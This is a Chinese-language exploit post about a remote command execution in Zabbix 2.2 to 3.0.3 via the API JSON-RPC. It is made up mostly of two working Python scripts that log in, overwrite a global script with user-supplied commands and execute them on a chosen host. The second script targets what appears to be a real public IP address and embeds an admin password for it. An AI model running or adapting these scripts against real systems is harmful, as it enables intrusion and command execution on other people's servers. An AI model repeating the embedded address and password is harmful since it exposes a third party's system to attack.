Zabbix 2.2 < 3.0.3 - RCE with API JSON-RPC

etgsd

攻击成本：高

危害程度：低(此洞需要密码)

利用条件: 需要高权限用户登录

影响范围：2.2 < 3.0.3

tips:

  此洞需要你拿到高权限的账户密码,当你拿到账户密码之后,进入后台也可以执行命令,利用API JSON-RPC为第二种方案。

  此exp并不是很完美,因为不会自动获取hostid。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75

#!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Title: Zabbix RCE with API JSON-RPC # Date: 06-06-2016 # Exploit Author: Alexander Gurin # Vendor Homepage: http://www.zabbix.com # Software Link: http://www.zabbix.com/download.php # Version: 2.2 - 3.0.3 # Tested on: Linux (Debian, CentOS) # CVE : N/A import requests import json import readline ZABIX_ROOT = 'http://192.168.66.2'    ### Zabbix IP-address    url = ZABIX_ROOT + '/api_jsonrpc.php'   ### Don't edit login = 'Admin'       ### Zabbix login     账户 password = 'zabbix'   ### Zabbix password  密码 hostid = '10084'  ### Zabbix hostid    需要指定命令的主机 ### auth payload = {      "jsonrpc" : "2.0",     "method" : "user.login",     "params": {         'user': ""+login+"",         'password': ""+password+"",     },      "auth" : None,     "id" : 0, } headers = {     'content-type': 'application/json', } auth  = requests.post(url, data=json.dumps(payload), headers=(headers)) auth = auth.json() while True:     cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ')     if cmd == "" : print "Result of last command:"     if cmd == "quit" : break ### update     payload = {         "jsonrpc": "2.0",         "method": "script.update",         "params": {             "scriptid": "1",             "command": ""+cmd+""         },         "auth" : auth['result'],         "id" : 0,     }     cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers)) ### execute     payload = {         "jsonrpc": "2.0",         "method": "script.execute",         "params": {             "scriptid": "1",             "hostid": ""+hostid+""         },         "auth" : auth['result'],         "id" : 0,     }     cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))     cmd_exe = cmd_exe.json()     print cmd_exe["result"]["value"]

修改版本 自动获取hostid

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88

#!/usr/bin/env python2.7 #coding=utf-8 import json import requests url = "http://42.62.97.87/api_jsonrpc.php" header = {"Content-Type": "application/json"} username = 'admin' password = 'haixue!@#' #get auth id payload = {     "jsonrpc" : "2.0",     "method" : "user.login",     "params": {         'user': ""+username+"",         'password': ""+password+"",     },     "auth" : None,     "id" : 0, } headers = {     'content-type': 'application/json', } auth  = requests.post(url, data=json.dumps(payload), headers=(headers)) auth = auth.json() #get hostid data = {     "jsonrpc":"2.0",     "method":"host.get",     "params":{         "output":["hostid","name"],         "filter":{"host":""}     },     "auth":""+auth['result']+"",     "id":1, } hostid = requests.post(url, data=json.dumps(data), headers=(headers)) hostid = hostid.json() print 'uid\tname' for hid in hostid['result']:     print hid['hostid'],hid['name'] #exec command hostid = raw_input('\033[41m[input_hostid]>>: \033[0m ') while True:     cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ')     if cmd == "" : print "Result of last command:"     if cmd == "quit" : break    ### update     payload = {         "jsonrpc": "2.0",         "method": "script.update",         "params": {             "scriptid": "1",             "command": ""+cmd+""         },         "auth" : auth['result'],         "id" : 0,     }        cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))    ### execute     payload = {         "jsonrpc": "2.0",         "method": "script.execute",         "params": {             "scriptid": "1",             "hostid": ""+hostid+""         },         "auth" : auth['result'],         "id" : 0,     }        cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))     cmd_exe = cmd_exe.json()     print cmd_exe["result"]["value"]     if cmd == 'quit':         break